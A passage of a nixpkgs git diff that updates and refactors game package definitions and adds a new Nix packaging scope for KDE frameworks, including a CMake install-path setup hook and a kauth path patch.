hash = "sha256-W2hzJg22O857Kh7CJVVHV5qu8QKjXCwW3hmgKBc0n2g="; }; nativeBuildInputs = [ diff --git a/pkgs/games/tecnoballz/default.nix b/pkgs/games/tecnoballz/default.nix index 6366e0ab06a59..f65383a37a897 100644 --- a/pkgs/games/tecnoballz/default.nix +++ b/pkgs/games/tecnoballz/default.nix @@ -10,12 +10,12 @@ , tinyxml }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "tecnoballz"; version = "0.93.1"; src = fetchurl { - url = "https://linux.tlk.fr/games/TecnoballZ/download/tecnoballz-${version}.tgz"; + url = "https://linux.tlk.fr/games/TecnoballZ/download/tecnoballz-${finalAttrs.version}.tgz"; sha256 = "sha256-WRW76e+/eXE/KwuyOjzTPFQnKwNznbIrUrz14fnvgug="; }; @@ -66,4 +66,4 @@ stdenv.mkDerivation rec { platforms = platforms.all; broken = stdenv.isDarwin; }; -} +}) diff --git a/pkgs/games/titanion/default.nix b/pkgs/games/titanion/default.nix index 47db68aa483ed..94e04a053c4e1 100644 --- a/pkgs/games/titanion/default.nix +++ b/pkgs/games/titanion/default.nix @@ -16,12 +16,12 @@ debianPatch = patchname: hash: fetchpatch { sha256 = hash; }; -in stdenv.mkDerivation rec { +in stdenv.mkDerivation (finalAttrs: { pname = "titanion"; version = "0.3"; src = fetchurl { - url = "http://abagames.sakura.ne.jp/windows/ttn${lib.replaceStrings ["."] ["_"] version}.zip"; + url = "http://abagames.sakura.ne.jp/windows/ttn${lib.replaceStrings ["."] ["_"] finalAttrs.version}.zip"; sha256 = "sha256-fR0cufi6dU898wP8KGl/vxbfQJzMmMxlYZ3QNGLajfM="; }; @@ -88,4 +88,4 @@ in stdenv.mkDerivation rec { maintainers = with maintainers; [ fgaz ]; platforms = platforms.all; }; -} +}) diff --git a/pkgs/games/toppler/default.nix b/pkgs/games/toppler/default.nix index 890e13498747e..fe36229363ceb 100644 --- a/pkgs/games/toppler/default.nix +++ b/pkgs/games/toppler/default.nix @@ -15,14 +15,14 @@ , zlib }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "toppler"; version = "1.3"; src = fetchFromGitLab { owner = "roever"; repo = "toppler"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; sha256 = "sha256-ecEaELu52Nmov/BD9VzcUw6wyWeHJcsKQkEzTnaW330="; }; @@ -58,4 +58,4 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ fgaz ]; platforms = platforms.all; }; -} +}) diff --git a/pkgs/games/torus-trooper/default.nix b/pkgs/games/torus-trooper/default.nix index 645abc76c8075..6e39aac63ff62 100644 --- a/pkgs/games/torus-trooper/default.nix +++ b/pkgs/games/torus-trooper/default.nix @@ -16,12 +16,12 @@ debianPatch = patchname: hash: fetchpatch { sha256 = hash; }; -in stdenv.mkDerivation rec { +in stdenv.mkDerivation (finalAttrs: { pname = "torus-trooper"; version = "0.22"; src = fetchurl { - url = "http://abagames.sakura.ne.jp/windows/tt${lib.replaceStrings ["."] ["_"] version}.zip"; + url = "http://abagames.sakura.ne.jp/windows/tt${lib.replaceStrings ["."] ["_"] finalAttrs.version}.zip"; sha256 = "1yhki1fdp3fi4y2iq12vca69f6k38dqjaw9z4lwcxky5kbgb7jvg"; }; @@ -101,4 +101,4 @@ in stdenv.mkDerivation rec { maintainers = with maintainers; [ fgaz ]; platforms = platforms.all; }; -} +}) diff --git a/pkgs/games/tumiki-fighters/default.nix b/pkgs/games/tumiki-fighters/default.nix index b4becea657560..344d062e08c3b 100644 --- a/pkgs/games/tumiki-fighters/default.nix +++ b/pkgs/games/tumiki-fighters/default.nix @@ -16,12 +16,12 @@ debianPatch = patchname: hash: fetchpatch { sha256 = hash; }; -in stdenv.mkDerivation rec { +in stdenv.mkDerivation (finalAttrs: { pname = "tumiki-fighters"; version = "0.21"; src = fetchurl { - url = "http://abagames.sakura.ne.jp/windows/tf${lib.replaceStrings ["."] ["_"] version}.zip"; + url = "http://abagames.sakura.ne.jp/windows/tf${lib.replaceStrings ["."] ["_"] finalAttrs.version}.zip"; sha256 = "0djykfc1r8ysapklm621h89ana1c4qzc1m5nr9bqw4iccnmvwk3p"; }; @@ -94,4 +94,4 @@ in stdenv.mkDerivation rec { maintainers = with maintainers; [ fgaz ]; platforms = platforms.all; }; -} +}) diff --git a/pkgs/games/unciv/default.nix b/pkgs/games/unciv/default.nix index 68bf0fc8feba9..703ee9b18b9fc 100644 --- a/pkgs/games/unciv/default.nix +++ b/pkgs/games/unciv/default.nix @@ -27,11 +27,11 @@ let in stdenv.mkDerivation rec { pname = "unciv"; - version = "4.10.5"; + version = "4.10.15"; src = fetchurl { url = "https://github.com/yairm210/Unciv/releases/download/${version}/Unciv.jar"; - hash = "sha256-XRm3V2JEwJJWMEVohkT+8JGcTJttYPcB1u0VNnMRxVY="; + hash = "sha256-SikrApaaGCAQc6ncqI4vRfXSgG/hgfO1wn5B5fj+W6Y="; }; dontUnpack = true; diff --git a/pkgs/games/unnethack/default.nix b/pkgs/games/unnethack/default.nix index af402a7de9359..f328b8c01eed7 100644 --- a/pkgs/games/unnethack/default.nix +++ b/pkgs/games/unnethack/default.nix @@ -33,6 +33,11 @@ stdenv.mkDerivation rec { }) ]; + # Fails at startup due to off-by-one: + # https://github.com/NixOS/nixpkgs/issues/292113#issuecomment-1969989058 + # TODO: drop it once 6.x branch releases. + hardeningDisable = [ "fortify3" ]; + # Fails the build occasionally due to missing buid depends: # ./../sys/unix/unixmain.c:9:10: fatal error: date.h: No such file or directory # TODO: remove once upstream issue is fixed: diff --git a/pkgs/games/vassal/default.nix b/pkgs/games/vassal/default.nix index 8395c4ac5fffb..216fda6882849 100644 --- a/pkgs/games/vassal/default.nix +++ b/pkgs/games/vassal/default.nix @@ -9,11 +9,11 @@ stdenv.mkDerivation rec { pname = "VASSAL"; - version = "3.7.8"; + version = "3.7.9"; src = fetchzip { url = "https://github.com/vassalengine/vassal/releases/download/${version}/${pname}-${version}-linux.tar.bz2"; - sha256 = "sha256-KZIfgCOZbirstKotQhfcNvJdf3wP1L1o9Wt33ddFrfM="; + sha256 = "sha256-RvP0HhndYRrRX7ag2nwmsOoNPKXXWJXfmfZqAWSZuv8="; }; buildInputs = [ diff --git a/pkgs/games/vintagestory/default.nix b/pkgs/games/vintagestory/default.nix index 474b5e2ddbac2..182f0621bfed7 100644 --- a/pkgs/games/vintagestory/default.nix +++ b/pkgs/games/vintagestory/default.nix @@ -20,11 +20,11 @@ stdenv.mkDerivation rec { pname = "vintagestory"; - version = "1.19.3"; + version = "1.19.4"; src = fetchurl { url = "https://cdn.vintagestory.at/gamefiles/stable/vs_client_linux-x64_${version}.tar.gz"; - hash = "sha256-ULxwNdQLQCWJqCTiGtT1X/Y32f406FT/UPAJNBYrV/s="; + hash = "sha256-A5NIWy902a0W/Y/sJL+qPrEJwCiU/TNIm7G3BtU6gzM="; }; diff --git a/pkgs/games/warzone2100/default.nix b/pkgs/games/warzone2100/default.nix index be2525c987165..7e6b8986109ea 100644 --- a/pkgs/games/warzone2100/default.nix +++ b/pkgs/games/warzone2100/default.nix @@ -44,12 +44,12 @@ let }; in -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { inherit pname; version = "4.4.2"; src = fetchurl { - url = "mirror://sourceforge/project/warzone2100/releases/${version}/warzone2100_src.tar.xz"; + url = "mirror://sourceforge/project/warzone2100/releases/${finalAttrs.version}/warzone2100_src.tar.xz"; hash = "sha256-O5Yqxqp1vKYr8uvAZ1SdsI/kocOzg0KRCirCqqvLrN4="; }; @@ -142,4 +142,4 @@ stdenv.mkDerivation rec { # https://github.com/Warzone2100/warzone2100/blob/master/macosx/README.md broken = stdenv.isDarwin; }; -} +}) diff --git a/pkgs/games/xskat/default.nix b/pkgs/games/xskat/default.nix index 6baf397ad678d..0d9fc5fe312f7 100644 --- a/pkgs/games/xskat/default.nix +++ b/pkgs/games/xskat/default.nix @@ -23,7 +23,7 @@ stdenv.mkDerivation rec { meta = with lib; { description = "Famous german card game"; platforms = platforms.unix; - license = licenses.free; + license = licenses.xskat; longDescription = "Play the german card game Skat against the AI or over IRC."; homepage = "https://web.archive.org/web/20221003060115/https://www.xskat.de/xskat.html"; }; diff --git a/pkgs/games/zaz/default.nix b/pkgs/games/zaz/default.nix index 3b6c7244507cb..9cfbad23c278a 100644 --- a/pkgs/games/zaz/default.nix +++ b/pkgs/games/zaz/default.nix @@ -11,12 +11,12 @@ , freetype }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "zaz"; version = "1.0.1"; src = fetchurl { - url = "mirror://sourceforge/${pname}/${pname}-${version}.tar.gz"; + url = "mirror://sourceforge/zaz/zaz-${finalAttrs.version}.tar.gz"; sha256 = "1r3bmwny05zzmdalxm5ah2rray0nnsg1w00r30p47q6x2lpwj8ml"; }; @@ -56,5 +56,4 @@ stdenv.mkDerivation rec { platforms = platforms.all; mainProgram = "zaz"; }; -} - +}) diff --git a/pkgs/kde/default.nix b/pkgs/kde/default.nix new file mode 100644 index 0000000000000..02c8650e6ec6c --- /dev/null +++ b/pkgs/kde/default.nix @@ -0,0 +1,84 @@ +{ + lib, + generateSplicesForMkScope, + makeScopeWithSplicing', + fetchurl, + fetchFromGitLab, + libsForQt5, + qt6Packages, + cmark, + gpgme, + taglib, + wayland-protocols, + wayland, + zxing-cpp, +}: let + allPackages = self: let + frameworks = import ./frameworks {inherit (self) callPackage;}; + gear = import ./gear {inherit (self) callPackage;}; + plasma = import ./plasma {inherit (self) callPackage;}; + + sets = ["gear" "frameworks" "plasma"]; + + loadUrls = set: lib.importJSON (./generated/sources + "/${set}.json"); + allUrls = lib.attrsets.mergeAttrsList (map loadUrls sets); + + sources = lib.mapAttrs (_: v: + (fetchurl { + inherit (v) url hash; + }) + // {inherit (v) version;}) + allUrls; + in ( + qt6Packages + // frameworks + // gear + // plasma + // { + inherit sources; + + mkKdeDerivation = self.callPackage (import ./lib/mk-kde-derivation.nix self) {}; + + # THIRD PARTY + inherit + cmark + gpgme + taglib + wayland + wayland-protocols + zxing-cpp + ; + + # Alias to match metadata + kquickimageeditor = self.kquickimageedit; + + # Alias because it's just data + plasma-wayland-protocols = libsForQt5.plasma-wayland-protocols; + + selenium-webdriver-at-spi = null; # Used for integration tests that we don't run, stub + # Not ported to Qt6 yet + kdevelop-pg-qt = null; + okteta = null; + libmediawiki = null; + + alpaka = self.callPackage ./misc/alpaka {}; + kdiagram = self.callPackage ./misc/kdiagram {}; + kdsoap-ws-discovery-client = self.callPackage ./misc/kdsoap-ws-discovery-client {}; + kirigami-addons = self.callPackage ./misc/kirigami-addons {}; + kio-fuse = self.callPackage ./misc/kio-fuse {}; + ktextaddons = self.callPackage ./misc/ktextaddons {}; + kunifiedpush = self.callPackage ./misc/kunifiedpush {}; + kweathercore = self.callPackage ./misc/kweathercore {}; + mpvqt = self.callPackage ./misc/mpvqt {}; + oxygen-icons = self.callPackage ./misc/oxygen-icons {}; + phonon = self.callPackage ./misc/phonon {}; + phonon-vlc = self.callPackage ./misc/phonon-vlc {}; + polkit-qt-1 = self.callPackage ./misc/polkit-qt-1 {}; + pulseaudio-qt = self.callPackage ./misc/pulseaudio-qt {}; + } + ); +in + makeScopeWithSplicing' { + otherSplices = generateSplicesForMkScope "kdePackages"; + f = allPackages; + } diff --git a/pkgs/kde/frameworks/attica/default.nix b/pkgs/kde/frameworks/attica/default.nix new file mode 100644 index 0000000000000..05b5c1e59be9a --- /dev/null +++ b/pkgs/kde/frameworks/attica/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "attica"; +} diff --git a/pkgs/kde/frameworks/baloo/default.nix b/pkgs/kde/frameworks/baloo/default.nix new file mode 100644 index 0000000000000..40ab00ebd193d --- /dev/null +++ b/pkgs/kde/frameworks/baloo/default.nix @@ -0,0 +1,15 @@ +{ + mkKdeDerivation, + qtdeclarative, + lmdb, +}: +mkKdeDerivation { + pname = "baloo"; + + # kde-systemd-start-condition is not part of baloo + postPatch = '' + substituteInPlace src/file/kde-baloo.service.in --replace-fail @KDE_INSTALL_FULL_BINDIR@/kde-systemd-start-condition /run/current-system/sw/bin/kde-systemd-start-condition + ''; + + extraBuildInputs = [qtdeclarative lmdb]; +} diff --git a/pkgs/kde/frameworks/bluez-qt/default.nix b/pkgs/kde/frameworks/bluez-qt/default.nix new file mode 100644 index 0000000000000..3bccb4309af73 --- /dev/null +++ b/pkgs/kde/frameworks/bluez-qt/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtdeclarative, +}: +mkKdeDerivation { + pname = "bluez-qt"; + + extraBuildInputs = [qtdeclarative]; +} diff --git a/pkgs/kde/frameworks/breeze-icons/default.nix b/pkgs/kde/frameworks/breeze-icons/default.nix new file mode 100644 index 0000000000000..103903c04cb4e --- /dev/null +++ b/pkgs/kde/frameworks/breeze-icons/default.nix @@ -0,0 +1,16 @@ +{ + mkKdeDerivation, + python3, + libxml2, +}: +mkKdeDerivation { + pname = "breeze-icons"; + + extraNativeBuildInputs = [ + (python3.withPackages (ps: [ps.lxml])) + libxml2 + ]; + + # lots of icons, takes forever, does absolutely nothing + dontStrip = true; +} diff --git a/pkgs/kde/frameworks/default.nix b/pkgs/kde/frameworks/default.nix new file mode 100644 index 0000000000000..302be8ad3eba4 --- /dev/null +++ b/pkgs/kde/frameworks/default.nix @@ -0,0 +1,74 @@ +{callPackage}: { + attica = callPackage ./attica {}; + baloo = callPackage ./baloo {}; + bluez-qt = callPackage ./bluez-qt {}; + breeze-icons = callPackage ./breeze-icons {}; + extra-cmake-modules = callPackage ./extra-cmake-modules {}; + frameworkintegration = callPackage ./frameworkintegration {}; + kapidox = callPackage ./kapidox {}; + karchive = callPackage ./karchive {}; + kauth = callPackage ./kauth {}; + kbookmarks = callPackage ./kbookmarks {}; + kcalendarcore = callPackage ./kcalendarcore {}; + kcmutils = callPackage ./kcmutils {}; + kcodecs = callPackage ./kcodecs {}; + kcolorscheme = callPackage ./kcolorscheme {}; + kcompletion = callPackage ./kcompletion {}; + kconfig = callPackage ./kconfig {}; + kconfigwidgets = callPackage ./kconfigwidgets {}; + kcontacts = callPackage ./kcontacts {}; + kcoreaddons = callPackage ./kcoreaddons {}; + kcrash = callPackage ./kcrash {}; + kdav = callPackage ./kdav {}; + kdbusaddons = callPackage ./kdbusaddons {}; + kdeclarative = callPackage ./kdeclarative {}; + kded = callPackage ./kded {}; + kdesu = callPackage ./kdesu {}; + kdnssd = callPackage ./kdnssd {}; + kdoctools = callPackage ./kdoctools {}; + kfilemetadata = callPackage ./kfilemetadata {}; + kglobalaccel = callPackage ./kglobalaccel {}; + kguiaddons = callPackage ./kguiaddons {}; + kholidays = callPackage ./kholidays {}; + ki18n = callPackage ./ki18n {}; + kiconthemes = callPackage ./kiconthemes {}; + kidletime = callPackage ./kidletime {}; + kimageformats = callPackage ./kimageformats {}; + kio = callPackage ./kio {}; + kirigami = callPackage ./kirigami {}; + kitemmodels = callPackage ./kitemmodels {}; + kitemviews = callPackage ./kitemviews {}; + kjobwidgets = callPackage ./kjobwidgets {}; + knewstuff = callPackage ./knewstuff {}; + knotifications = callPackage ./knotifications {}; + knotifyconfig = callPackage ./knotifyconfig {}; + kpackage = callPackage ./kpackage {}; + kparts = callPackage ./kparts {}; + kpeople = callPackage ./kpeople {}; + kplotting = callPackage ./kplotting {}; + kpty = callPackage ./kpty {}; + kquickcharts = callPackage ./kquickcharts {}; + krunner = callPackage ./krunner {}; + kservice = callPackage ./kservice {}; + kstatusnotifieritem = callPackage ./kstatusnotifieritem {}; + ksvg = callPackage ./ksvg {}; + ktexteditor = callPackage ./ktexteditor {}; + ktexttemplate = callPackage ./ktexttemplate {}; + ktextwidgets = callPackage ./ktextwidgets {}; + kunitconversion = callPackage ./kunitconversion {}; + kuserfeedback = callPackage ./kuserfeedback {}; + kwallet = callPackage ./kwallet {}; + kwidgetsaddons = callPackage ./kwidgetsaddons {}; + kwindowsystem = callPackage ./kwindowsystem {}; + kxmlgui = callPackage ./kxmlgui {}; + modemmanager-qt = callPackage ./modemmanager-qt {}; + networkmanager-qt = callPackage ./networkmanager-qt {}; + prison = callPackage ./prison {}; + purpose = callPackage ./purpose {}; + qqc2-desktop-style = callPackage ./qqc2-desktop-style {}; + solid = callPackage ./solid {}; + sonnet = callPackage ./sonnet {}; + syndication = callPackage ./syndication {}; + syntax-highlighting = callPackage ./syntax-highlighting {}; + threadweaver = callPackage ./threadweaver {}; +} diff --git a/pkgs/kde/frameworks/extra-cmake-modules/default.nix b/pkgs/kde/frameworks/extra-cmake-modules/default.nix new file mode 100644 index 0000000000000..0a06cf4a87726 --- /dev/null +++ b/pkgs/kde/frameworks/extra-cmake-modules/default.nix @@ -0,0 +1,8 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "extra-cmake-modules"; + + outputs = ["out"]; + + setupHook = ./ecm-hook.sh; +} diff --git a/pkgs/kde/frameworks/extra-cmake-modules/ecm-hook.sh b/pkgs/kde/frameworks/extra-cmake-modules/ecm-hook.sh new file mode 100644 index 0000000000000..b6c50059868fa --- /dev/null +++ b/pkgs/kde/frameworks/extra-cmake-modules/ecm-hook.sh @@ -0,0 +1,128 @@ +# shellcheck shell=bash +# Variables we use here are set by the stdenv, no use complaining about them +# shellcheck disable=SC2164 + +ecmEnvHook() { + addToSearchPath XDG_DATA_DIRS "$1/share" + addToSearchPath XDG_CONFIG_DIRS "$1/etc/xdg" +} +addEnvHooks "$targetOffset" ecmEnvHook + +ecmPostHook() { + # Because we need to use absolute paths here, we must set *all* the paths. + # Keep this in sync with https://github.com/KDE/extra-cmake-modules/blob/master/kde-modules/KDEInstallDirs6.cmake + if [ "$(uname)" = "Darwin" ]; then + cmakeFlags+=" -DKDE_INSTALL_BUNDLEDIR=${!outputBin}/Applications/KDE" + fi + + cmakeFlags+=" -DKDE_INSTALL_EXECROOTDIR=${!outputBin}" + cmakeFlags+=" -DKDE_INSTALL_BINDIR=${!outputBin}/bin" + cmakeFlags+=" -DKDE_INSTALL_SBINDIR=${!outputBin}/sbin" + cmakeFlags+=" -DKDE_INSTALL_LIBDIR=${!outputLib}/lib" + cmakeFlags+=" -DKDE_INSTALL_LIBEXECDIR=${!outputLib}/libexec" + cmakeFlags+=" -DKDE_INSTALL_CMAKEPACKAGEDIR=${!outputDev}/lib/cmake" + + if [ -n "${qtPluginPrefix-}" ]; then + cmakeFlags+=" -DKDE_INSTALL_QTPLUGINDIR=${!outputBin}/$qtPluginPrefix" + cmakeFlags+=" -DKDE_INSTALL_PLUGINDIR=${!outputBin}/$qtPluginPrefix" + fi + + if [ -n "${qtQmlPrefix-}" ]; then + cmakeFlags+=" -DKDE_INSTALL_QMLDIR=${!outputBin}/$qtQmlPrefix" + fi + + cmakeFlags+=" -DKDE_INSTALL_INCLUDEDIR=${!outputInclude}/include" + cmakeFlags+=" -DKDE_INSTALL_LOCALSTATEDIR=/var" + cmakeFlags+=" -DKDE_INSTALL_SHAREDSTATEDIR=/com" # ??? + cmakeFlags+=" -DKDE_INSTALL_DATAROOTDIR=${!outputBin}/share" + cmakeFlags+=" -DKDE_INSTALL_DATADIR=${!outputBin}/share" + cmakeFlags+=" -DKDE_INSTALL_DOCBUNDLEDIR=${!outputBin}/share/doc/HTML" + cmakeFlags+=" -DKDE_INSTALL_KCFGDIR=${!outputBin}/share/config.kcfg" + cmakeFlags+=" -DKDE_INSTALL_KCONFUPDATEDIR=${!outputBin}/share/kconf_update" + cmakeFlags+=" -DKDE_INSTALL_KAPPTEMPLATESDIR=${!outputDev}/share/kdevappwizard/templates" + cmakeFlags+=" -DKDE_INSTALL_KFILETEMPLATESDIR=${!outputDev}/share/kdevfiletemplates/templates" + cmakeFlags+=" -DKDE_INSTALL_KXMLGUIDIR=${!outputBin}/share/kxmlgui6" + cmakeFlags+=" -DKDE_INSTALL_KNOTIFYRCDIR=${!outputBin}/share/knotifications6" + cmakeFlags+=" -DKDE_INSTALL_ICONDIR=${!outputBin}/share/icons" + cmakeFlags+=" -DKDE_INSTALL_LOCALEDIR=${!outputLib}/share/locale" + cmakeFlags+=" -DKDE_INSTALL_SOUNDDIR=${!outputBin}/share/sounds" + cmakeFlags+=" -DKDE_INSTALL_TEMPLATEDIR=${!outputBin}/share/templates" + cmakeFlags+=" -DKDE_INSTALL_WALLPAPERDIR=${!outputBin}/share/wallpapers" + cmakeFlags+=" -DKDE_INSTALL_APPDIR=${!outputBin}/share/applications" + cmakeFlags+=" -DKDE_INSTALL_DESKTOPDIR=${!outputBin}/share/desktop-directories" + cmakeFlags+=" -DKDE_INSTALL_MIMEDIR=${!outputBin}/share/mime/packages" + cmakeFlags+=" -DKDE_INSTALL_METAINFODIR=${!outputBin}/share/appdata" + cmakeFlags+=" -DKDE_INSTALL_QTQCHDIR=${!outputLib}/share/doc/qch" + cmakeFlags+=" -DKDE_INSTALL_QCHDIR=${!outputLib}/share/doc/qch" + cmakeFlags+=" -DKDE_INSTALL_MANDIR=${!outputBin}/share/man" + cmakeFlags+=" -DKDE_INSTALL_INFODIR=${!outputBin}/share/info" + cmakeFlags+=" -DKDE_INSTALL_DBUSDIR=${!outputBin}/share/dbus-1" + cmakeFlags+=" -DKDE_INSTALL_DBUSINTERFACEDIR=${!outputBin}/share/dbus-1/interfaces" + cmakeFlags+=" -DKDE_INSTALL_DBUSSERVICEDIR=${!outputBin}/share/dbus-1/services" + cmakeFlags+=" -DKDE_INSTALL_DBUSSYSTEMSERVICEDIR=${!outputBin}/share/dbus-1/system-services" + cmakeFlags+=" -DKDE_INSTALL_SYSCONFDIR=${!outputBin}/etc" + cmakeFlags+=" -DKDE_INSTALL_CONFDIR=${!outputBin}/etc/xdg" + cmakeFlags+=" -DKDE_INSTALL_AUTOSTARTDIR=${!outputBin}/etc/xdg/autostart" + cmakeFlags+=" -DKDE_INSTALL_LOGGINGCATEGORIESDIR=${!outputLib}/share/qlogging-categories6" + cmakeFlags+=" -DKDE_INSTALL_SYSTEMDUNITDIR=${!outputBin}/lib/systemd" + cmakeFlags+=" -DKDE_INSTALL_SYSTEMDUSERUNITDIR=${!outputBin}/share/systemd/user" +} +postHooks+=(ecmPostHook) + +xdgDataSubdirs=( \ + "config.kcfg" "kconf_update" "knotifications6" "icons" "locale" "sounds" "templates" \ + "wallpapers" "applications" "desktop-directories" "mime" "appdata" "dbus-1" \ +) + +# ecmHostPathsSeen is an associative array of the paths that have already been +# seen by ecmHostPathHook. +declare -gA ecmHostPathsSeen + +ecmHostPathIsNotSeen() { + if [[ -n "${ecmHostPathsSeen["$1"]:-}" ]]; then + # The path has been seen before. + return 1 + else + # The path has not been seen before. + # Now it is seen, so record it. + ecmHostPathsSeen["$1"]=1 + return 0 + fi +} + +ecmHostPathHook() { + ecmHostPathIsNotSeen "$1" || return 0 + + local xdgConfigDir="$1/etc/xdg" + if [ -d "$xdgConfigDir" ] + then + qtWrapperArgs+=(--prefix XDG_CONFIG_DIRS : "$xdgConfigDir") + fi + + for xdgDataSubdir in "${xdgDataSubdirs[@]}" + do + if [ -d "$1/share/$xdgDataSubdir" ] + then + qtWrapperArgs+=(--prefix XDG_DATA_DIRS : "$1/share") + break + fi + done + + local manDir="$1/man" + if [ -d "$manDir" ] + then + qtWrapperArgs+=(--prefix MANPATH : "$manDir") + fi + + local infoDir="$1/info" + if [ -d "$infoDir" ] + then + qtWrapperArgs+=(--prefix INFOPATH : "$infoDir") + fi + + if [ -d "$1/dbus-1" ] + then + propagatedUserEnvPkgs+=" $1" + fi +} +addEnvHooks "$targetOffset" ecmHostPathHook diff --git a/pkgs/kde/frameworks/frameworkintegration/default.nix b/pkgs/kde/frameworks/frameworkintegration/default.nix new file mode 100644 index 0000000000000..3607c115c3011 --- /dev/null +++ b/pkgs/kde/frameworks/frameworkintegration/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + pkg-config, + packagekit-qt, +}: +mkKdeDerivation { + pname = "frameworkintegration"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [packagekit-qt]; +} diff --git a/pkgs/kde/frameworks/kapidox/default.nix b/pkgs/kde/frameworks/kapidox/default.nix new file mode 100644 index 0000000000000..2544e7921f873 --- /dev/null +++ b/pkgs/kde/frameworks/kapidox/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kapidox"; +} diff --git a/pkgs/kde/frameworks/karchive/default.nix b/pkgs/kde/frameworks/karchive/default.nix new file mode 100644 index 0000000000000..fe124e1187d1c --- /dev/null +++ b/pkgs/kde/frameworks/karchive/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qttools, + pkg-config, + xz, +}: +mkKdeDerivation { + pname = "karchive"; + + extraNativeBuildInputs = [qttools pkg-config]; + extraBuildInputs = [xz]; +} diff --git a/pkgs/kde/frameworks/kauth/default.nix b/pkgs/kde/frameworks/kauth/default.nix new file mode 100644 index 0000000000000..df033770a3035 --- /dev/null +++ b/pkgs/kde/frameworks/kauth/default.nix @@ -0,0 +1,13 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "kauth"; + + # Late resolve paths so things end up in their own prefix + # FIXME(later): discuss with upstream + patches = [./fix-paths.patch]; + + extraNativeBuildInputs = [qttools]; +} diff --git a/pkgs/kde/frameworks/kauth/fix-paths.patch b/pkgs/kde/frameworks/kauth/fix-paths.patch new file mode 100644 index 0000000000000..6444a7610c472 --- /dev/null +++ b/pkgs/kde/frameworks/kauth/fix-paths.patch @@ -0,0 +1,17 @@ +diff --git a/KF6AuthConfig.cmake.in b/KF6AuthConfig.cmake.in +index 4ee3f92..65a40d5 100644 +--- a/KF6AuthConfig.cmake.in ++++ b/KF6AuthConfig.cmake.in +@@ -4,9 +4,9 @@ set(KAUTH_STUB_FILES_DIR "@PACKAGE_KDE_INSTALL_DATADIR_KF@/kauth/") + + set(KAUTH_BACKEND_NAME "@KAUTH_BACKEND_NAME@") + set(KAUTH_HELPER_BACKEND_NAME "@KAUTH_HELPER_BACKEND_NAME@") +-set(KAUTH_POLICY_FILES_INSTALL_DIR "@KAUTH_POLICY_FILES_INSTALL_DIR@") +-set(KAUTH_HELPER_INSTALL_DIR "@KAUTH_HELPER_INSTALL_DIR@") +-set(KAUTH_HELPER_INSTALL_ABSOLUTE_DIR "@KAUTH_HELPER_INSTALL_ABSOLUTE_DIR@") ++set(KAUTH_POLICY_FILES_INSTALL_DIR "${KDE_INSTALL_DATADIR}/polkit-1/actions") ++set(KAUTH_HELPER_INSTALL_DIR "${KDE_INSTALL_LIBEXECDIR}") ++set(KAUTH_HELPER_INSTALL_ABSOLUTE_DIR "${KDE_INSTALL_LIBEXECDIR}") + + include(CMakeFindDependencyMacro) + diff --git a/pkgs/kde/frameworks/kbookmarks/default.nix b/pkgs/kde/frameworks/kbookmarks/default.nix new file mode 100644 index 0000000000000..ac9255e6f83d5 --- /dev/null +++ b/pkgs/kde/frameworks/kbookmarks/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "kbookmarks"; + + extraNativeBuildInputs = [qttools]; +} diff --git a/pkgs/kde/frameworks/kcalendarcore/default.nix b/pkgs/kde/frameworks/kcalendarcore/default.nix new file mode 100644 index 0000000000000..c80117749e117 --- /dev/null +++ b/pkgs/kde/frameworks/kcalendarcore/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + libical, +}: +mkKdeDerivation { + pname = "kcalendarcore"; + + extraBuildInputs = [libical]; +} diff --git a/pkgs/kde/frameworks/kcmutils/default.nix b/pkgs/kde/frameworks/kcmutils/default.nix new file mode 100644 index 0000000000000..bb6ecb110ee02 --- /dev/null +++ b/pkgs/kde/frameworks/kcmutils/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtdeclarative, +}: +mkKdeDerivation { + pname = "kcmutils"; + + extraPropagatedBuildInputs = [qtdeclarative]; +} diff --git a/pkgs/kde/frameworks/kcodecs/default.nix b/pkgs/kde/frameworks/kcodecs/default.nix new file mode 100644 index 0000000000000..409666658ddf7 --- /dev/null +++ b/pkgs/kde/frameworks/kcodecs/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qttools, + gperf, +}: +mkKdeDerivation { + pname = "kcodecs"; + + extraNativeBuildInputs = [qttools]; + extraBuildInputs = [gperf]; +} diff --git a/pkgs/kde/frameworks/kcolorscheme/default.nix b/pkgs/kde/frameworks/kcolorscheme/default.nix new file mode 100644 index 0000000000000..05f32ce574f39 --- /dev/null +++ b/pkgs/kde/frameworks/kcolorscheme/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kcolorscheme"; +} diff --git a/pkgs/kde/frameworks/kcompletion/default.nix b/pkgs/kde/frameworks/kcompletion/default.nix new file mode 100644 index 0000000000000..c07f274e08ee3 --- /dev/null +++ b/pkgs/kde/frameworks/kcompletion/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "kcompletion"; + + extraNativeBuildInputs = [qttools]; +} diff --git a/pkgs/kde/frameworks/kconfig/default.nix b/pkgs/kde/frameworks/kconfig/default.nix new file mode 100644 index 0000000000000..b29a081524c74 --- /dev/null +++ b/pkgs/kde/frameworks/kconfig/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qttools, + qtdeclarative, +}: +mkKdeDerivation { + pname = "kconfig"; + + extraNativeBuildInputs = [qttools]; + extraPropagatedBuildInputs = [qtdeclarative]; +} diff --git a/pkgs/kde/frameworks/kconfigwidgets/default.nix 